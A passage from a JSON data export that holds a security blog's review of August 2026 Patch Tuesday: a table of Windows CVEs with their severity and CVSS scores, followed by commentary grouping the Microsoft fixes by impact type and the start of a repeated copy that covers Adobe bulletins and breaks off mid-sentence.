Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62814\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61923\n  Windows Display\n  Enhancement Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62769\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62778\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-62881\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62883\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65795\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65797\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65798\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65799\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70304\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70330\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61920\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-62787\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61932\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62888\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62894\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61933\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62703\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59128\n  Windows Encrypting\n  File System (EFS) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59126\n  Windows Event Logging\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-59137\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61347\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61360\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65662\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62709\n  Windows GDI+\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62702\n  Windows Graphics\n  Kernel Denial of Service Vulnerability\n  Important\n  6.8\n  No\n  No\n  DoS\n \n \n  CVE-2026-61346\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62774\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61928\n  Windows Hello\n  Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-62750\n  Windows HTTP Protocol\n  Stack Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61937\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62735\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62739\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62741\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62753\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62811\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61368\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  Info\n \n \n  CVE-2026-62740\n  Windows Imaging\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54984\n  Windows Imaging\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59127\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61925\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61938\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62768\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65774\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70344\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70345\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70346\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70347\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65681\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-65796\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-65679\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62752\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62754\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62766\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62773\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61929\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61930\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62708\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-62737\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62749\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62780\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62788\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65773\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62785\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62795\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62777\n  Windows License\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50472\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62738\n  Windows Management\n  Instrumentation Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70348\n  Windows Management\n  Services Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62717\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62719\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65790\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62688\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62693\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62707\n  Windows Modern Device\n  Management (MDM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56174\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61366\n  Windows Network\n  Connection Broker Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-68819\n  Windows Network File\n  System Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-62700\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62797\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62880\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61350\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62793\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62796\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62887\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65784\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68821\n  Windows Package\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62696\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62751\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62690\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62758\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62783\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61918\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61921\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61924\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61356\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61364\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61365\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61367\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62692\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62779\n  Windows Schannel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62757\n  Windows Schannel\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-61355\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62770\n  Windows Shell\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62799\n  Windows SMB Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62782\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65794\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62790\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62800\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61359\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62695\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59132\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62792\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59122\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61353\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62701\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62723\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62724\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62725\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62726\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62729\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62732\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62734\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62748\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62699\n  Windows Universal Disk\n  Format File System Driver (UDFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61926\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62721\n  Windows User-Mode\n  Power Service (UMPS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62711\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62712\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62733\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62876\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62877\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62885\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65678\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65775\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65776\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62730\n  Windows Wired\n  AutoConfig Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61349\n  Windows Work Folder\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61939\n  Winlogon Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56179\n  Windows\n  Network Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \nAs with last month, I\u2019ll do my best to summarize everything else in this release, but assume there are details I miss that are relevant to your environment.\nLooking at the remaining Critical-rated patches, you are safe to ignore the scariest looking ones, including the CVSS 10\u2019s. These have already been mitigated by Microsoft and do not count towards today\u2019s total of 398. The iSCSI Target service, however, is a CVSS 9.8, but it\u2019s not installed by default. Microsoft notes a DHCP Server heap overflow and a SharePoint deserialization bug are both listed as \u201cexploitation more likely\u201d. That SharePoint bug brought two EoP siblings along for the ride. And what would a Patch Tuesday be without Preview Pane exploit vectors in Office components? There are many in August, although there are a few Office bugs listed as Critical but without the Preview Pane vector. Odd. Then there\u2019s the mid-tier pile no one is proud of, but everybody needs to patch anyway: AD CS, RRAS, SSTP, and a matched pair in Device Health Attestation, all leaning on higher attack complexity as their only saving grace. Consider this a coin flip, not a shield. The bug in RMCAST is unauthenticated but requires an adjacent attacker. The bug in Key Guard is a bit interesting, as it could lead to an attacker gaining Virtual Trust Level 1 (VTL1) privileges. The final Critical-rated bug is in the RDP client, but it requires a user to connect to a malicious RDP server.\nMoving on to the other code execution bugs, SharePoint alone accounts for seven of these, six of them the same deserialization-of-untrusted-data flaw repeated almost verbatim across different code paths, all needing only low-privilege auth and no interaction. The seventh is an input-validation miss that needs no auth at all, just a harder-to-pull-off attack chain. LDAP and SMBv3 each draw a matching pair of patches. The LDAP bugs are a heap overflow and a use-after-free, both needing a user to interact with something first; the SMBv3 pair is twin heap overflows. Visual Studio Code adds three of its own: missing authorization, OS command injection, and straight code injection, all requiring a user to open or run something. The AI-coding-tool-vuln-of-the-month tradition continues uninterrupted. The rest of the CVSS 8.1\u20138.8 tier is a grab bag with a common thread \u2014 LSASS and Exchange Server both go down to heap overflows with low-privilege access, Dynamics 365 On-Premises gets the SharePoint treatment (deserialization), and Active Directory Domain Services picks up a command-injection bug that needs a user's cooperation. Add one apiece for Teams, Power BI, Outlook, and a pair for Windows Media Foundation, plus a higher-complexity trio: RPC Runtime Library, Windows TCP/IP, and a second iSCSI Target Service bug. All needing unusual attack conditions to line up, which buys you a little time but not an excuse. Then the file-format mountain: seventeen Excel bugs, six in Access, four apiece in Office and Office Word, one plain Word, one PowerPoint, one .NET Core. Remote Desktop Client's other three bugs sit at a comparatively modest 7.5, but don't read too much comfort into that \u2014 all three need high attack complexity and user interaction, which is precisely the combination phishing campaigns are built to satisfy. Closing out RCE category, there are two more DNS Server bugs, a DHCP Client use-after-free needing local low-privilege access, a Universal Disk Format driver bug that requires physical media and a Windows Codecs Library.\nThere are nearly 180 privilege escalation bugs fixed this month, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. Believe it or not, that leaves only about 20 bugs to discuss. Access control keeps failing in the same places: SharePoint draws two EoPs, then contributes a third via server-side request forgery, and a fourth through cross-site scripting (XSS) that at least needs a user to click something first. Entra Connect adds a SQL injection, .NET Framework an incorrect-authorization bug, and Azure CycleCloud adds a missing-authorization flaw, That\u2019s five different products with the same underlying lesson about checking who\u2019s allowed to do what. Windows Telephony Service is the surprise repeat offender, landing four separate EoPs, but four bugs in one dusty legacy service in a single release is the kind of pattern that makes you wonder who's still dialing in. The rest is a genuine grab bag: Key Guard gets a heap overflow sitting on the trust chain below the OS, DHCP Client and Narrator Braille both fall to local low-privilege bugs, .NET picks up an uncaught exception that actually changes scope, .NET Framework adds a path-traversal bug requiring a click, GitHub Copilot and VS Code get an OS command injection needing the same, Azure Storage Explorer falls to XSS, Azure Monitor Agent and OneDrive for macOS both need high privileges just to start, which caps their real-world urgency, and Exchange Server closes it out with an SSRF bug whose blast radius Microsoft itself rates as confidentiality-only, no integrity or availability hit.\nThere are 11 SFB bugs this month, all Important, none exploited or publicly disclosed. Visual Studio Code accounts for four, Python extension included: one fails open outright, the other three trip on bad authorization checks \u2014 all need a click, which is a low bar in a tool people click through constantly. PowerShell adds a code-injection bypass, and Copilot Chat gets one as well. Exchange Server and Windows Defender Firewall Service both via have missing authorization bugs. The .NET service has a bug via HTTP request smuggling, Active Directory via weak encryption, and Schannel via bad signature verification. In the low individual urgency category, both Schannel and AD have bugs with  \u201cbroken crypto trust\u201d are worth a second look despite the low scores.\nLooking at the info disclosure bugs, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. There are few others of note. The CVSS 6.5 tier is the one with more bite: Windows DHCP Server alone accounts for eight of these, three more hit Remote Desktop Client, two hit SMB Client, two hit Excel, and singles land in PowerShell, .NET, Azure CycleCloud, two Dynamics products, SharePoint, Teams iOS, and VS Code. All are unauthenticated, network-reachable memory leaks, but DHCP Server picking up eight in one release is a pattern, not noise. Everything else sits at 5.5 or below and is almost entirely \"leaks unspecified memory contents,\" differing mainly by which component leaks it. Office file formats dominate with roughly twenty bugs split across Excel, Word, Office generically, Office Graphics, and PowerPoint. Win32k contributes four, NTFS five, GDI/GDI+ three, Event Logging and WMI two apiece, DWM Core two, AMD Zen two. The remaining singles clear out fine during a normal patch cycle without special urgency.\nMoving on to spoofing patches for August, SharePoint dominates with eleven bugs, mostly stored XSS letting an authenticated attacker spoof content, plus a mixed bag of deserialization, code injection, SSRF, and credential exposure at the low end. Outside SharePoint, Teams for Android/iOS gets a high-CVSS (8.8) XSS bug. Exchange Server gets one too. Windows NAT has a scope-changing origin-validation flaw reachable from an adjacent network, and Outlook closes it out with a credential-exposure spoofing bug.\nThere are 14 DoS bugs getting patched this month. NULL pointer dereferences dominate: TCP/IP, iSCSI Target Service, Windows Graphics Kernel, and Remote Registry Service (twice) all crash the same way, unauthenticated over the network. iSCSI Target Service adds a second DoS via heap overflow, with three hits total this release counting its RCE. Resource-exhaustion bugs cover .NET, RPC, DHCP Client, and Microsoft Identity - all unauthenticated, all just flood-and-crash. The rest need local or elevated access: Exchange Server, Windows Network File System, and path/link-resolution bug in Windows Management Services. In other words, nothing exotic. Just patch it in the normal cycle, with a nod to Remote Registry Service and iSCSI Target Service for repeat appearances.\nFinally, there are a handful of tampering bugs receiving patches this month. They start with SharePoint via incorrect authorization. The Windows HTTP Protocol Stack has a bug via a partial string comparison flaw reachable from an adjacent network, and Windows Hello via cleartext storage of sensitive data locally. The Hello one is the one worth a second glance. Biometric auth storing something in the clear isn't a great look, even at a modest 5.5.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on September 8, just after Labor Day here is the US. I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-08-11T19:01:27.050492Z"}, {"uuid": "e903740b-33ec-4aa3-8d88-b0b8b1f51f54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54984", "type": "seen", "source": "https://www.thezdi.com/blog/2026/8/11/the-august-2026-security-update-review", "content": "I\u2019ve successfully survived Hacker Summer Camp, and I have returned with a new outlook on patch density. When even Linus Torvalds says that huge updates are the \u201cnew normal\u201d, it\u2019s time to readjust what we consider a true bug apocalypse. This month\u2019s release is thankfully smaller than last months, but still huge by historical standards. Take a break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for August 2026\nFor the first part of the August release, Adobe released five bulletins addressing 51 unique CVEs in Adobe ColdFusion, Commerce, Lightroom Classic, Content Credentials SDK, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\nAdobe Patches for August 2026\n\n\n\n  \nAdobe Patches for August 2026\n  \n\n    \n      \n        Bulletin ID\n        Product\n        CVE Count\n        Highest Severity\n        Highest CVSS\n        Exploited\n        Deployment Priority\n      \n    \n    \n      \n        APSB26-90\n        Adobe ColdFusion\n        15\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-123\n        Adobe Campaign Classic\n        3\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-92\n        Adobe Commerce\n        7\n        Critical\n        9.1\n        No\n        2\n      \n      \n        APSB26-94\n        Adobe Lightroom Classic\n        11\n        Critical\n        8.6\n        No\n        3\n      \n      \n        APSB26-111\n        Content Credentials SDK\n        15\n        Critical\n        7.5\n        No\n        3\n      \n      \n        TOTAL\n        5 bulletins\n        51\n        \n        \n        \n        \n      \n    \n  \n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \nIf you\u2019re running Campaign Classic, that\u2019s your priority. Not only is it a deployment priority of 1, but it also contains two different CVSS 10 bugs and supersedes the patch that was just released on August 3. ColdFusion is also deployment priority 1 and also contains a CVSS 10 bug. Adobe Commerce rates a priority 2 with code execution bugs as high as CVSS 9.1. The patches for Lightroom Classic and Content Credentials SDK are packed with CVEs, but only rate a deployment priority of 3.\nNone of the Adobe bugs receiving patches this month are listed as publicly known or under active attack at the time of release.\nMicrosoft Patches for August 2026\nThere are a couple of things to point out right at the beginning. Again, counting is difficult due to the size, but I see 398 new CVEs to go along with the other updates documented this month. However, there is only one listed being under active attack, so we\u2019ve got that going for us, which is nice. The release impacts Windows and Windows components, Office and Office Components, AMD Zen, Azure and Azure Components, GitHub Copilot, Windows Defender, Exchange Server, SharePoint, OneDrive for macOS, Teams, Power BI, .NET and Visual Studio, DHCP Server and Client, DNS Server, and Windows TPM. Minecraft is absent from this release.  All told, there are 62 rated Critical, one rated Moderate, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program.\nThis volume of updates indeed seems to be the new normal \u2013 at least for now. What is interesting is that, while there is an explosion of bugs being reported (and fixed), there has been no 